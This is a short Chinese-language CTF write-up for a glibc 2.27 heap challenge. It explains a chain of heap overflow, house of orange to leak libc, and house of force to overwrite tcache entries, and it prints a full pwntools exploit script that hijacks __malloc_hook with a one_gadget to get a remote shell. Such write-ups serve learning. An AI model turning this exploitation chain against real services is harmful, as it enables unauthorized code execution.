没有参加复赛 倒是开赛的时候别的师傅给了附件 做了做 最后是一血
一道2.27的堆 原题附件给的跟远程的不一样 坑死了 最后是用2.27 1.6的小版本打通的
代码审计一下 可以得知没有free chunk的机会 但是可以堆溢出覆盖nextchunk的size域
这种情况首先想到了house of orange获得unsortedbin的手法 覆盖一下top chunk
随后我们就泄露出了libc地址
2.23跟2.27的最大差别就是多了tcachebin 在想下一步利用的时候 回想起了以前做过的一道house of force 可以申请到top chunk低地址处的chunk 利用这一点可以覆盖tcachebin结构体的entry指针数组 从而任意写 最后直接往malloc_hook里面写入onegadget就行了
from pwn import *from ctypes import *io = remote("39.104.26.167" ,59599 ) elf = ELF("./pwn" ) context.terminal = ['tmux' ,'splitw' ,'-h' ] libc = ELF("./glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so" ) context.arch = "amd64" context.log_level = "debug" def debug (): gdb.attach(io) pause() def add (index,size ): io.recvuntil("Your choice: " ) io.sendline(b'1' ) io.recvuntil("Index: " ) io.sendline(str (index)) io.recvuntil("Size: " ) io.sendline(str (size)) def edit (index,content ): io.recvuntil("Your choice: " ) io.sendline(b'2' ) io.recvuntil("Index: " ) io.sendline(str (index)) io.recvuntil("Content: " ) io.send(content) def show (index ): io.recvuntil("Your choice: " ) io.sendline(b'3' ) io.recvuntil("Index: " ) io.sendline(str (index)) def delete (index ): io.recvuntil("Your choice: " ) io.sendline(b'4' ) io.recvuntil("Index: " ) io.sendline(str (index)) add(0 ,0x18 ) payload = cyclic(0x18 )+p64(0xd91 ) edit(0 ,payload) add(1 ,0x1008 ) add(2 ,0x100 ) show(2 ) libc_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-libc.sym['__malloc_hook' ]-1632 -0x10 success("libc_addr :" +hex (libc_addr)) payload = cyclic(0x1008 )+p64(0xffffffffffffffff ) edit(1 ,payload) add(3 ,-0x22020 ) add(4 ,0x1000 ) malloc_hook = libc_addr + libc.sym['__malloc_hook' ] realloc_hook = libc_addr + libc.sym['__realloc_hook' ] realloc_addr = libc_addr + libc.sym['realloc' ] payload = cyclic(0x40 )+p64(realloc_hook)+b'\n' edit(4 ,payload) add(5 ,0x18 ) onegadget_addr = libc_addr + 0x4f302 payload = p64(onegadget_addr)+p64(realloc_addr+10 )+b'\n' edit(5 ,payload) add(6 ,0x100 ) io.interactive()